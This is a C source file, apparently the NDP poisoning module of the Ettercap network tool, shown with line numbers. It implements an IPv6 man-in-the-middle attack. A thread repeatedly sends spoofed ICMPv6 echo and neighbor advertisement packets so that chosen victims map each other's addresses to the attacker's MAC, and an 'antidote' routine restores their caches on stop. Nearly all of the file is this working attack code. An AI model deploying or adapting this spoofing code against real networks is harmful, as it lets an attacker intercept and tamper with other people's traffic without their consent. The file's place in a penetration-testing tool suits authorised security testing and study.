1 /*
2 * ICMPv6 Neighbor Advertisement poisoning ec module.
3 * The basic idea is the same as for ARP poisoning
4 * but ARP cannot be used with IPv6. Lurk [1] for details.
5 *
6 * [1] - http://packetlife.net/blog/2009/feb/2/ipv6-neighbor-spoofing/
7 *
8 * the braindamaged entities collective
9 */
10
11 #include <ec.h>
12 #include <ec_mitm.h>
13 #include <ec_threads.h>
14 #include <ec_send.h>
15 #include <ec_hook.h>
16 #include <ec_sleep.h>
17
18 /* globals */
19 struct hosts_group ndp_group_one;
20 struct hosts_group ndp_group_two;
21
22 #if 0
23 static LIST_HEAD(,ip_list) ping_list_one;
24 static LIST_HEAD(,ip_list) ping_list_two;
25 #endif
26
27 u_int8 flags;
28 #define ND_ONEWAY ((u_int8)(1<<0))
29 #define ND_ROUTER ((u_int8)(1<<2))
30
31 /* protos */
32 void ndp_poison_init(void);
33 static int ndp_poison_start(char *args);
34 static void ndp_poison_stop(void);
35 EC_THREAD_FUNC(ndp_poisoner);
36 static int create_list(void);
37 static int create_list_silent(void);
38 static void ndp_antidote(void);
39
40 #if 0
41 static void catch_response(struct packet_object *po);
42 static void record_mac(struct packet_object *po);
43 #endif
44
45 /* c0d3 */
46
ndp_poison_init(void)47 void __init ndp_poison_init(void)
48 {
49 struct mitm_method mm;
50
51 mm.name = "ndp";
52 mm.start = &ndp_poison_start;
53 mm.stop = &ndp_poison_stop;
54
55 mitm_add(&mm);
56 }
57
ndp_poison_start(char * args)58 static int ndp_poison_start(char *args)
59 {
60 struct hosts_list *h, *tmp;
61 int ret;
62 char *p;
63
64 DEBUG_MSG("ndp_poison_start");
65
66 flags = ND_ROUTER;
67
68 if(strcmp(args, "")) {
69 for(p = strsep(&args, ","); p != NULL; p = strsep(&args, ",")) {
70 if(!strcasecmp(p, "remote"))
71 EC_GBL_OPTIONS->remote = 1;
72 else if(!strcasecmp(p, "oneway"))
73 flags |= ND_ONEWAY;
74 else
75 SEMIFATAL_ERROR("NDP poisoning: incorrect arguments.\n");
76 }
77 }
78
79 /* we need the host list */
80 if (LIST_EMPTY(&EC_GBL_HOSTLIST))
81 SEMIFATAL_ERROR("NDP poisoning needs a non-emtpy hosts list.\n");
82
83 /* clean the lists */
84 LIST_FOREACH_SAFE(h, &ndp_group_one, next, tmp) {
85 LIST_REMOVE(h, next);
86 SAFE_FREE(h);
87 }
88 LIST_FOREACH_SAFE(h, &ndp_group_two, next, tmp) {
89 LIST_REMOVE(h, next);
90 SAFE_FREE(h);
91 }
92
93 if(EC_GBL_OPTIONS->silent) {
94 ret = create_list_silent();
95 } else
96 ret = create_list();
97
98 if (ret != E_SUCCESS) {
99 SEMIFATAL_ERROR("NDP poisoning failed to start");
100 }
101 /* hook necessary? - Maybe if solicitations are seen */
102
103 ec_thread_new("ndp_poisoner", "NDP spoofing thread", &ndp_poisoner, NULL);
104
105 return E_SUCCESS;
106 }
107
ndp_poison_stop(void)108 static void ndp_poison_stop(void)
109 {
110 struct hosts_list *h;
111 pthread_t pid;
112
113 DEBUG_MSG("ndp_poison_stop");
114
115 pid = ec_thread_getpid("ndp_poisoner");
116 if(!pthread_equal(pid, ec_thread_getpid(NULL)))
117 ec_thread_destroy(pid);
118 else {
119 DEBUG_MSG("no poisoner thread found");
120 return;
121 }
122
123 USER_MSG("NDP poisoner deactivated.\n");
124
125 USER_MSG("Depoisoning the victims.\n");
126 ndp_antidote();
127
128 ui_msg_flush(2);
129
130 /* delete the elements in the first list */
131 while(LIST_FIRST(&ndp_group_one) != NULL) {
132 h = LIST_FIRST(&ndp_group_one);
133 LIST_REMOVE(h, next);
134 SAFE_FREE(h);
135 }
136
137 /* delete the elements in the second list */
138 while(LIST_FIRST(&ndp_group_two) != NULL) {
139 h = LIST_FIRST(&ndp_group_two);
140 LIST_REMOVE(h, next);
141 SAFE_FREE(h);
142 }
143
144 /* reset the remote flag */
145 EC_GBL_OPTIONS->remote = 0;
146
147 return;
148 }
149
EC_THREAD_FUNC(ndp_poisoner)150 EC_THREAD_FUNC(ndp_poisoner)
151 {
152 int i = 1;
153 struct hosts_list *t1, *t2;
154
155 /* variable not used */
156 (void) EC_THREAD_PARAM;
157
158 ec_thread_init();
159 DEBUG_MSG("ndp_poisoner");
160
161 /* it's a loop */
162 LOOP {
163
164 CANCELLATION_POINT();
165
166 /* Here we go! */
167 LIST_FOREACH(t1, &ndp_group_one, next) {
168 LIST_FOREACH(t2, &ndp_group_two, next) {
169
170 if(!ip_addr_cmp(&t1->ip, &t2->ip))
171 continue;
172
173 if (!EC_GBL_CONF->ndp_poison_equal_mac)
174 /* skip equal mac addresses ... */
175 if (!memcmp(t1->mac, t2->mac, MEDIA_ADDR_LEN))
176 continue;
177
178 /*
179 * send spoofed ICMP packet to trigger a neighbor cache
180 * entry in the victims cache
181 */
182 if (i == 1 && EC_GBL_CONF->ndp_poison_icmp) {
183 send_L2_icmp6_echo(&t2->ip, &t1->ip, t1->mac);
184 /* from T2 to T1 */
185 if (!(flags & ND_ONEWAY))
186 send_L2_icmp6_echo(&t1->ip, &t2->ip, t2->mac);
187 }
188
189 send_L2_icmp6_nadv(&t1->ip, &t2->ip, EC_GBL_IFACE->mac, flags, t2->mac);
190 if(!(flags & ND_ONEWAY))
191 send_L2_icmp6_nadv(&t2->ip, &t1->ip, EC_GBL_IFACE->mac, flags & ND_ROUTER, t1->mac);
192
193 ec_usleep(EC_GBL_CONF->ndp_poison_send_delay);
194 }
195 }
196
197 /* first warm up then release poison frequency */
198 if (i < 5) {
199 i++;
200 ec_usleep(SEC2MICRO(EC_GBL_CONF->ndp_poison_warm_up));
201 }
202 else
203 ec_usleep(SEC2MICRO(EC_GBL_CONF->ndp_poison_delay));
204
205 }
206
207 return NULL;
208 }
209
create_list(void)210 static int create_list(void)
211 {
212 struct ip_list *i;
213 struct hosts_list *h, *g;
214 char tmp[MAX_ASCII_ADDR_LEN];
215 char tmp2[MAX_ASCII_ADDR_LEN];
216
217 DEBUG_MSG("ndp poisoning: create_list");
218
219 USER_MSG("\nNDP poisoning victims:\n\n");
220
221
222 /* the first group */
223 LIST_FOREACH(i, &EC_GBL_TARGET1->ip6, next) {
224 /* walk through TARGET1 selected IPv6 addresses */
225 LIST_FOREACH(h, &EC_GBL_HOSTLIST, next) {
226 /* search matching entry in host list */
227 if (!ip_addr_cmp(&i->ip, &h->ip)) {
228 USER_MSG(" GROUP 1 : %s %s\n",
229 ip_addr_ntoa(&h->ip, tmp),
230 mac_addr_ntoa(h->mac, tmp2));
231
232 /* create element and insert into list */
233 SAFE_CALLOC(g, 1, sizeof(struct hosts_list));
234
235 memcpy(&g->ip, &h->ip, sizeof(struct ip_addr));
236 memcpy(&g->mac, &h->mac, MEDIA_ADDR_LEN);
237
238 LIST_INSERT_HEAD(&ndp_group_one, g, next);
239 }
240 }
241 }
242
243 /* the target is NULL - convert to ANY */
244 if (LIST_FIRST(&EC_GBL_TARGET1->ip6) == NULL) {
245
246 USER_MSG(" GROUP 1 : ANY (all IPv6 hosts in the list)\n");
247
248 /* add all hosts in HOSTLIST */
249 LIST_FOREACH(h, &EC_GBL_HOSTLIST, next) {
250
251 /* only IPv6 addresses are applicable */
252 if (ntohs(h->ip.addr_type) != AF_INET6)
253 continue;
254
255 /* create the element and insert into list */
256 SAFE_CALLOC(g, 1, sizeof(struct hosts_list));
257
258 memcpy(&g->ip, &h->ip, sizeof(struct ip_addr));
259 memcpy(&g->mac, &h->mac, MEDIA_ADDR_LEN);
260
261 LIST_INSERT_HEAD(&ndp_group_one, g, next);
262 }
263 }
264
265 USER_MSG("\n");
266
267 /* the second group */
268
269 /* if the target was specified */
270 LIST_FOREACH(i, &EC_GBL_TARGET2->ip6, next) {
271 /* walk through TARGET1 selected IPv6 addresses */
272 LIST_FOREACH(h, &EC_GBL_HOSTLIST, next) {
273 /* search matching entry in host list */
274 if (!ip_addr_cmp(&i->ip, &h->ip)) {
275 USER_MSG(" GROUP 2 : %s %s\n",
276 ip_addr_ntoa(&h->ip, tmp),
277 mac_addr_ntoa(h->mac, tmp2));
278
279 /* create the element and insert in the list */
280 SAFE_CALLOC(g, 1, sizeof(struct hosts_list));
281
282 memcpy(&g->ip, &h->ip, sizeof(struct ip_addr));
283 memcpy(&g->mac, &h->mac, MEDIA_ADDR_LEN);
284
285 LIST_INSERT_HEAD(&ndp_group_two, g, next);
286 }
287 }
288 }
289
290 /* the target is NULL - convert to ANY */
291 if (LIST_FIRST(&EC_GBL_TARGET2->ip6) == NULL) {
292
293 USER_MSG(" GROUP 2 : ANY (all IPv6 hosts in the list)\n");
294
295 /* add them */
296 LIST_FOREACH(h, &EC_GBL_HOSTLIST, next) {
297
298 /* only IPv6 addresses are applicable */
299 if (ntohs(h->ip.addr_type) != AF_INET6)
300 continue;
301
302 /* create the element and insert in the list */
303 SAFE_CALLOC(g, 1, sizeof(struct hosts_list));
304
305 memcpy(&g->ip, &h->ip, sizeof(struct ip_addr));
306 memcpy(&g->mac, &h->mac, MEDIA_ADDR_LEN);
307
308 LIST_INSERT_HEAD(&ndp_group_two, g, next);
309 }
310 }
311
312 return E_SUCCESS;
313 }
314
create_list_silent(void)315 static int create_list_silent(void)
316 {
317 struct hosts_list *h;
318 struct ip_list *i;
319 char tmp[MAX_ASCII_ADDR_LEN];
320 char tmp2[MAX_ASCII_ADDR_LEN];
321
322 DEBUG_MSG("create_list_silent");
323
324 LIST_FOREACH(i, &EC_GBL_TARGET1->ip6, next) {
325 if(ip_addr_is_local(&i->ip, NULL) == E_SUCCESS) {
326 if (!memcmp(EC_GBL_TARGET1->mac, "\x00\x00\x00\x00\x00\x00", MEDIA_ADDR_LEN)) {
327 USER_MSG("\nERROR: MAC address must be specified in silent mode.\n");
328 return -E_FATAL;
329 }
330 SAFE_CALLOC(h, 1, sizeof(struct hosts_list));
331 memcpy(&h->ip, &i->ip, sizeof(struct ip_addr));
332 memcpy(&h->mac, &EC_GBL_TARGET1->mac, MEDIA_ADDR_LEN);
333 LIST_INSERT_HEAD(&ndp_group_one, h, next);
334
335 USER_MSG(" TARGET 1 : %-40s %17s\n",
336 ip_addr_ntoa(&i->ip, tmp),
337 mac_addr_ntoa(EC_GBL_TARGET1->mac, tmp2));
338 }
339 else {
340 USER_MSG("%s is not local. NDP poisoning impossible\n",
341 ip_addr_ntoa(&i->ip, tmp));
342 return -E_FATAL;
343 }
344 }
345
346 LIST_FOREACH(i, &EC_GBL_TARGET2->ip6, next) {
347 if(ip_addr_is_local(&i->ip, NULL) == E_SUCCESS) {
348 if (!memcmp(EC_GBL_TARGET2->mac, "\x00\x00\x00\x00\x00\x00", MEDIA_ADDR_LEN)) {
349 USER_MSG("\nERROR: MAC address must be specified in silent mode.\n");
350 return -E_FATAL;
351 }
352 SAFE_CALLOC(h, 1, sizeof(struct hosts_list));
353 memcpy(&h->ip, &i->ip, sizeof(struct ip_addr));
354 memcpy(&h->mac, &EC_GBL_TARGET2->mac, MEDIA_ADDR_LEN);
355 LIST_INSERT_HEAD(&ndp_group_two, h, next);
356
357 USER_MSG(" TARGET 2 : %-40s %17s\n",
358 ip_addr_ntoa(&i->ip, tmp),
359 mac_addr_ntoa(EC_GBL_TARGET2->mac, tmp2));
360 }
361 else {
362 USER_MSG("%s is not local. NDP poisoning impossible\n",
363 ip_addr_ntoa(&i->ip, tmp));
364 }
365 }
366
367 return E_SUCCESS;
368 }
369
370 /* restore neighbor cache of victims */
ndp_antidote(void)371 static void ndp_antidote(void)
372 {
373 struct hosts_list *h1, *h2;
374 int i;
375
376 DEBUG_MSG("ndp_antidote");
377
378 /* do it twice */
379 for(i = 0; i < 2; i++) {
380 LIST_FOREACH(h1, &ndp_group_one, next) {
381 LIST_FOREACH(h2, &ndp_group_two, next) {
382
383 /* skip equal ip */
384 if(!ip_addr_cmp(&h1->ip, &h2->ip))
385 continue;
386
387 if (!EC_GBL_CONF->ndp_poison_equal_mac)
388 /* skip equal mac addresses ... */
389 if (!memcmp(h1->mac, h2->mac, MEDIA_ADDR_LEN))
390 continue;
391
392 /* send neighbor advertisements with the correct information */
393 send_L2_icmp6_nadv(&h1->ip, &h2->ip, h1->mac, flags, h2->mac);
394 if(!(flags & ND_ONEWAY))
395 send_L2_icmp6_nadv(&h2->ip, &h1->ip, h2->mac, flags & ND_ROUTER, h1->mac);
396
397 ec_usleep(EC_GBL_CONF->ndp_poison_send_delay);
398 }
399 }
400
401 ec_usleep(SEC2MICRO(EC_GBL_CONF->ndp_poison_warm_up));
402 }
403 }
404
405 /*
406 * This function has been written by the initial author but
407 * doesn't seem to be necessary as ND poisoning has been brought
408 * to a working state - keeping the code just in case - 2013-12-31
409 */
410 #if 0
411 static void catch_response(struct packet_object *po)
412 {
413 struct hosts_list *h;
414 struct ip_list *i;
415
416 /* if it is not response to our ping */
417 if(ip_addr_is_ours(&po->L3.dst) != E_FOUND)
418 return;
419
420 /*
421 * search if the node address is in one of the ping lists
422 * if so add the address to the poison list
423 */
424 LIST_FOREACH(i, &ping_list_one, next) {
425 /* the source is in the ping hosts list */
426 if(!ip_addr_cmp(&po->L3.src, &i->ip)) {
427 LIST_REMOVE(i, next);
428 SAFE_CALLOC(h, 1, sizeof(struct hosts_list));
429 memcpy(&h->ip, &po->L3.src, sizeof(struct ip_addr));
430 memcpy(&h->mac, &po->L2.src, MEDIA_ADDR_LEN);
431 LIST_INSERT_HEAD(&ndp_group_one, h, next);
432 break;
433 }
434 }
435
436 LIST_FOREACH(i, &ping_list_two, next) {
437 if(!ip_addr_cmp(&po->L3.src, &i->ip)) {
438 LIST_REMOVE(i, next);
439 SAFE_CALLOC(h, 1, sizeof(struct hosts_list));
440 memcpy(&h->ip, &po->L3.src, sizeof(struct ip_addr));
441 memcpy(&h->mac, &po->L2.src, MEDIA_ADDR_LEN);
442 LIST_INSERT_HEAD(&ndp_group_two, h, next);
443 break;
444 }
445 }
446
447 return;
448 }
449 #endif
450
451 /*
452 * This function has been written by the initial author but
453 * doesn't seem to be necessary as ND poisoning has been brought
454 * to a working state - keeping the code just in case - 2013-12-31
455 */
456 #if 0
457 static void record_mac(struct packet_object *po)
458 {
459 struct ip_addr *ip;
460 u_char *mac;
461 struct hosts_list *h;
462
463 if(ip_addr_is_ours(&po->L3.src)) {
464 ip = &po->L3.dst;
465 mac = po->L2.dst;
466 } else if(ip_addr_is_ours(&po->L3.dst)) {
467 ip = &po->L3.src;
468 mac = po->L2.src;
469 } else {
470 return;
471 }
472
473 LIST_FOREACH(h, &ndp_group_one, next) {
474 if(!ip_addr_cmp(&h->ip, ip)) {
475 memcpy(&h->mac, mac, MEDIA_ADDR_LEN);
476 return;
477 }
478 }
479
480 LIST_FOREACH(h, &ndp_group_two, next) {
481 if(!ip_addr_cmp(&h->ip, ip)) {
482 memcpy(&h->mac, mac, MEDIA_ADDR_LEN);
483 return;
484 }
485 }
486 }
487 #endif
488